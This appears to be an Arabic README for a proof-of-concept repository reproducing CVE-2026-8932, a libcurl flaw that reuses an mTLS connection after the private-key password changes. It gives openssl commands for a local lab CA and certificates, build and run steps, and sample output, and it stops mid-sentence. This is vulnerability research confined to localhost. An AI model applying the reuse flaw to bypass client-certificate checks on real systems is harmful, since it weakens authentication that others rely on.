nimaarek/cve-2026-8932-pocإثبات مفهوم يعيد إنتاج CVE-2026-8932، وهو خلل في مطابقة إعدادات mTLS غير المكتملة في إعادة استخدام اتصالات libcurl، مع خادم مختبري محلي وإثبات مفهوم بلغة C.
إثبات مفهوم لإعادة إنتاج CVE-2026-8932، وهو خلل في مطابقة إعدادات mTLS غير المكتملة في إعادة استخدام الاتصالات في libcurl.
يؤثر CVE-2026-8932 على منطق إعادة استخدام الاتصالات في libcurl عندما تتغير إعدادات mutual TLS (mTLS) بين الطلبات.
في ظروف الثغرة، يمكن لـ libcurl إعادة استخدام اتصال TLS قائم رغم أن أحد خيارات الإعدادات المتعلقة بـ mTLS قد تغيّر وكان ينبغي أن يمنع إعادة استخدام ذلك الاتصال.
يوضح هذا الـ PoC المشكلة عبر تغيير كلمة مرور المفتاح الخاص بين طلبين مع استخدام الشهادة العميلة والمفتاح الخاص نفسيهما.
يستخدم الطلب الأول كلمة المرور الصحيحة:
correct-password
الطلب الثاني يستخدم عن قصد كلمة مرور غير صالحة:
WRONG-PASSWORD
إذا أعاد libcurl استخدام اتصال TLS الحالي بشكل غير صحيح، فإن الطلب الثاني لا يتطلب مصافحة TLS أخرى. وبالتالي، لا تكون كلمة المرور غير الصالحة للمفتاح الخاص مطلوبة أبدًا لإنشاء اتصال TLS جديد، وينجح الطلب.
لذلك، يوضح PoC حالة إعادة استخدام الاتصال المرتبطة بـ CVE-2026-8932.
| الخاصية | القيمة |
|---|---|
| CVE | CVE-2026-8932 |
| المكوّن | libcurl |
| نوع الثغرة | مطابقة تكوين mTLS غير المكتملة |
| CWE | CWE-305 — تجاوز المصادقة بسبب ضعف أساسي |
| المنطقة المتأثرة | إعادة استخدام اتصال TLS |
| البروتوكول | HTTPS / mTLS |
| العميل | libcurl API |
| curl CLI | غير متأثر |
| نطاق PoC | بيئة مختبر محلية |
الثغرة هي مشكلة مطابقة منطق/تكوين، وليست ثغرة أمان ذاكرة تقليدية مثل تجاوز سعة المخزن المؤقت أو الاستخدام بعد التحرير.
يحتفظ libcurl بمعلومات الاتصال ويمكنه إعادة استخدام اتصال موجود عندما يُعتبر طلب لاحق متوافقًا مع تكوين الاتصال.
بالنسبة لاتصالات TLS، يجب بالتالي مقارنة تكوين الاتصال بعناية قبل إعادة الاستخدام.
لم يتضمن التنفيذ المصاب جميع حقول تكوين mTLS ذات الصلة في منطق مطابقة الاتصال.
من بين الإعدادات المتأثرة:
cert_type
key
key_type
key_passwd
key_blob
الإعداد المهم الذي يستخدمه هذا PoC هو:
key_passwd
ينشئ PoC اتصال TLS باستخدام مفتاح خاص للعميل مشفّر وكلمة المرور الصحيحة:
correct-password
ثم يقوم بتنفيذ طلب آخر باستخدام الشهادة والمفتاح نفسيهما، لكنه يغيّر كلمة المرور إلى:
WRONG-PASSWORD
قد يعتبر تنفيذ مطابقة الاتصالات المعرّض للثغرة أن الاتصال الموجود لا يزال قابلاً لإعادة الاستخدام.
يتكون الاختبار من طلبَي HTTP.
يُنشئ الطلب الأول اتصال TLS:
URL:
https://server.test:8443/A
Client certificate:
client.crt
Private key:
client.key
Key password:
correct-password
يظل اتصال TLS قائمًا لأن الخادم يدعم HTTP keep-alive.
يستخدم الطلب الثاني نفس الشهادة والمفتاح الخاص لكنه يغيّر كلمة مرور المفتاح:
URL:
https://server.test:8443/B
Client certificate:
client.crt
Private key:
client.key
Key password:
WRONG-PASSWORD
إذا أنشأ libcurl اتصال TLS جديدًا، فيجب أن يفشل تحميل المفتاح الخاص المشفّر بكلمة مرور خاطئة.
ومع ذلك، إذا أعاد libcurl استخدام الاتصال الموجود بشكل غير صحيح، فلن تكون هناك حاجة إلى مصافحة TLS جديدة.
وبالتالي فإن كلمة المرور غير الصالحة لا تمنع طلب HTTP من النجاح.
يتكون إعداد المختبر من:
localhost
|
v
+---------------------+
| Python mTLS Server |
| 127.0.0.1:8443 |
+----------+----------+
|
| HTTPS / TLS 1.3
|
+--------+--------+
| |
/A /B
\ /
\ /
v v
Same TLS Connection
|
v
libcurl
PoC (C)
الملاحظة المهمة هي أن /A و /B يجب أن يصلا عبر نفس اتصال TLS.
CVE-2026-8932-PoC/
├── README.md
├── LICENSE
├── .gitignore
│
├── certs/
│ └── .gitkeep
│
├── poc/
│ └── poc.c
│
├── server/
│ └── server.py
│
└── docs/
├── CVE-2026-8932-POC.jpg
├── CVE-2026-8932-server-POC.jpg
├── poc-output.txt
└── server-output.txt
يُترك دليل certs/ فارغًا عمدًا في المستودع. ينبغي إنشاء الشهادات والمفاتيح الخاصة محليًا.
تم اختبار PoC في البيئة التالية:
OS:
Debian GNU/Linux 13 (trixie)
Architecture:
x86_64
libcurl:
8.14.1
OpenSSL:
3.5.7
GCC:
14.2.0
كان تثبيت libcurl المصاب المستخدم لإعادة الإنتاج هو:
libcurl/8.14.1
تحقق من الإصدار المثبّت:
curl --version
و:
pkg-config --modversion libcurl
mkdir -p ~/cve-2026-8932-lab/{certs,poc,server,docs}
cd ~/cve-2026-8932-lab
cd ~/cve-2026-8932-lab/certs
openssl genrsa -out ca.key 2048
openssl req -x509 -new -nodes \
-key ca.key \
-sha256 \
-days 3650 \
-subj "/CN=CVE-2026-8932-CA" \
-out ca.crt
أنشئ المفتاح الخاص بالخادم:
openssl genrsa -out server.key 2048
أنشئ CSR:
openssl req -new \
-key server.key \
-subj "/CN=server.test" \
-out server.csr
أنشئ امتدادات الشهادة:
printf "subjectAltName=DNS:server.test\nextendedKeyUsage=serverAuth\n" \
> server.ext
وقّع الشهادة باستخدام CA الاختباري:
openssl x509 -req \
-in server.csr \
-CA ca.crt \
-CAkey ca.key \
-CAcreateserial \
-out server.crt \
-days 3650 \
-sha256 \
-extfile server.ext
أنشئ المفتاح الخاص للعميل:
openssl genrsa -out client.key.tmp 2048
أنشئ CSR:
openssl req -new \
-key client.key.tmp \
-subj "/CN=Client-A" \
-out client.csr
حوّل المفتاح الخاص إلى صيغة PKCS#8 المشفّرة:
openssl pkcs8 \
-topk8 \
-in client.key.tmp \
-out client.key \
-v2 aes-256-cbc \
-passout pass:correct-password
المفتاح الخاص الناتج مشفّر باستخدام:
correct-password
أنشئ امتدادات شهادة العميل:
printf "extendedKeyUsage=clientAuth\n" \
> client.ext
وقّع شهادة العميل:
openssl x509 -req \
-in client.csr \
-CA ca.crt \
-CAkey ca.key \
-CAcreateserial \
-out client.crt \
-days 3650 \
-sha256 \
-extfile client.ext
في هذه المرحلة يجب أن تكون الملفات المطلوبة موجودة:
certs/
├── ca.crt
├── ca.key
├── client.crt
├── client.key
├── server.crt
└── server.key
انتقل إلى دليل الخادم:
cd ~/cve-2026-8932-lab/server
ابدأ الخادم:
python3 server.py
يستمع الخادم على:
0.0.0.0:8443
مطلوب مصادقة شهادة العميل.
يحافظ الخادم أيضًا على اتصالات HTTP/1.1 نشطة حتى يتمكن libcurl من إعادة استخدام اتصال TLS.
افتح طرفية أخرى:
cd ~/cve-2026-8932-lab/poc
ترجمة:
gcc -Wall -Wextra -O0 -g \
poc.c \
$(pkg-config --cflags --libs libcurl) \
-o poc
نفّذ:
./poc
يستخدم PoC ما يلي:
Client certificate : client.crt
Private key : client.key
Request A password : correct-password
Request B password : WRONG-PASSWORD
أهم دليل من جانب العميل هو:
[+] STEP 2: Request using modified mTLS configuration
[+] Key password = WRONG-PASSWORD
* Re-using existing https: connection with host server.test
> GET /B HTTP/1.1
ثم يستقبل الطلب:
< HTTP/1.1 200 OK
والتقرير الخاص بإثبات المفهوم (PoC) يذكر: